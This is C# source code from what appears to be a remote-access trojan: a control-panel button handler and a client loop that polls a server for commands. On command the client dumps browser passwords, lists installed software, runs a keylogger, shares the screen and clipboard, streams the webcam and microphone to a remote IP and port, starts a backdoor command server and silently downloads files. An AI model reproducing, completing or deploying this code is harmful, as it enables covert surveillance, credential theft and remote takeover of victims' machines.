private void button14_Click(object sender, EventArgs e) { if (dataGridView1.SelectedRows.Count > 0) { for (int i = 0; i < dataGridView1.SelectedRows.Count; i++) { a.SetForNoUpdate(dataGridView1.SelectedRows[i].Cells[0].Value.ToString()); } } }
private static void MainFunk() { while (true) { if (!Connected) { Thread ConnectionThread = new Thread(new ThreadStart(ConnectToWS)); ConnectionThread.Start(); while (ConnectionThread.IsAlive) { Thread.Sleep(100); } ; } else { Thread IsRegisteredThread = new Thread(new ThreadStart(IsRegistered)); IsRegisteredThread.Start(); while (IsRegisteredThread.IsAlive) { Thread.Sleep(100); } ; if (!Registered) { Thread RegisterThread = new Thread(new ThreadStart(Register)); RegisterThread.Start(); while (RegisterThread.IsAlive) { Thread.Sleep(100); } ; } else { #region UpdatePCData Thread IfUpdateThread = new Thread(new ThreadStart(IfUpdate)); IfUpdateThread.Start(); while (IfUpdateThread.IsAlive) { Thread.Sleep(100); } ; if (Update) { Thread UpdateDataThread = new Thread(new ThreadStart(UpdateData)); UpdateDataThread.Start(); while (UpdateDataThread.IsAlive) { Thread.Sleep(100); } ; A.SetForNoUpdate(myName); Update = false; } #endregion #region PasswordDump Thread IfBrowserPassDumpThread = new Thread(new ThreadStart(IfBrowserPassDump)); IfBrowserPassDumpThread.Start(); while (IfUpdateThread.IsAlive) { Thread.Sleep(100); } ; if (BrowserDump) { Thread DumpPassThread = new Thread(new ThreadStart(DumpPass)); DumpPassThread.Start(); while (DumpPassThread.IsAlive) { Thread.Sleep(100); } ; A.SetForNoBrowserDump(myName); BrowserDump = false; } #endregion #region RegisteredSoftware Thread IfRegisteredSoftwareThread = new Thread(new ThreadStart(IfInstalledAplicationDump)); IfRegisteredSoftwareThread.Start(); while (IfRegisteredSoftwareThread.IsAlive) { Thread.Sleep(100); } ; if (InstalledSoftwareBool) { Thread DumpPassThread = new Thread(new ThreadStart(GetInstalledApplications)); DumpPassThread.Start(); while (DumpPassThread.IsAlive) { Thread.Sleep(100); } ; A.SetForNoApplicationDump(myName); InstalledSoftwareBool = false; } #endregion #region KeylogDump Thread IfKeylogDumpThread = new Thread(new ThreadStart(IfKeylogDump)); IfKeylogDumpThread.Start(); while (IfRegisteredSoftwareThread.IsAlive) { Thread.Sleep(100); } ; if (keydumpbool) { if (KeyLogObject == null) { KeyLogObject = new Keylogger(); } if (!KeyLogObject.started) { KeyLogObject.KeyloggerStart(); } } else { if (KeyLogObject != null) { if (KeyLogObject.started) { KeyLogObject.Flush2File(); KeyLogObject.KeyLogerStop(); } } } #endregion #region ScreenShare Thread IfKeyScreenShareThread = new Thread(new ThreadStart(IfKeyScreenShare)); IfKeyScreenShareThread.Start(); while (IfKeyScreenShareThread.IsAlive) { Thread.Sleep(100); } ; if (scshare) { if (!ScreenShareThread.IsAlive) { ScreenShareThread = new Thread(new ThreadStart(ScreenShare)); ScreenShareThread.Start(); } string clip = System.Windows.Forms.Clipboard.GetText(); if (clip != "") { // co clipboard ne server } } #endregion #region WebCam Thread IfWebCamThread = new Thread(new ThreadStart(IfWebCamDump)); IfWebCamThread.Start(); while (IfWebCamThread.IsAlive) { Thread.Sleep(100); } ; if (WebCambool) { if (!WebCamShareThread.IsAlive) { WebCam.StreamImages = true; WebCamShareThread = new Thread(new ThreadStart(WebCamShare)); WebCamShareThread.Start(); } } else { WebCam.StreamImages = false; //if (WebCamShareThread.IsAlive) //{ // WebCamShareThread.Abort(); //} } #endregion #region CMDRUN Thread IfCmdRunThread = new Thread(new ThreadStart(IfCmdRun)); IfCmdRunThread.Start(); while (IfCmdRunThread.IsAlive) { Thread.Sleep(100); } ; if (cmdkey) { if (!Backdoor.started) { Backdoor.startServer(); } } else { if (Backdoor.started) { Backdoor.stopServer(); } } #endregion #region MIC Thread IfMicDumpThread = new Thread(new ThreadStart(IfMicDump)); IfMicDumpThread.Start(); while (IfMicDumpThread.IsAlive) { Thread.Sleep(100); } ; if (micdumpkey) { string connection = A.SelectIPPORT(); string ip = connection.Substring(0, connection.IndexOf(':')); string port = connection.Substring(connection.IndexOf(':') + 1); if (!VoiceRoom.started) { VoiceRoom.VoiceRoomStart(ip, int.Parse(port)); } } else { VoiceRoom.Disconncet(); } #endregion #region Navigator Thread IfBrowserOpenThread = new Thread(new ThreadStart(IfWebBrowse)); IfBrowserOpenThread.Start(); while (IfBrowserOpenThread.IsAlive) { Thread.Sleep(100); } ; if (webopenkey) { if (!Browser.running) { urlToOpen = A.SelectOPEN(); Browser.urlToLoad = urlToOpen; Browser.StartBrowser(); } } #endregion #region DownloadLocal Thread IfDownloadThread = new Thread(new ThreadStart(IfDownload)); IfDownloadThread.Start(); while (IfDownloadThread.IsAlive) { Thread.Sleep(100); } ; if (downloadkey) { urlToDownload = A.SelectDOWN(); if (urlToDownload != "") { string filename = urlToDownload.Substring(urlToDownload.LastIndexOf('/')); HiddenDownloader.DownloadFileAsync(new Uri(urlToDownload), filename); A.SetForNoUrlDown(myName); urlToDownload = ""; } } #endregion Thread.Sleep(1000); } } GC.Collect(); Thread.Sleep(1000); } }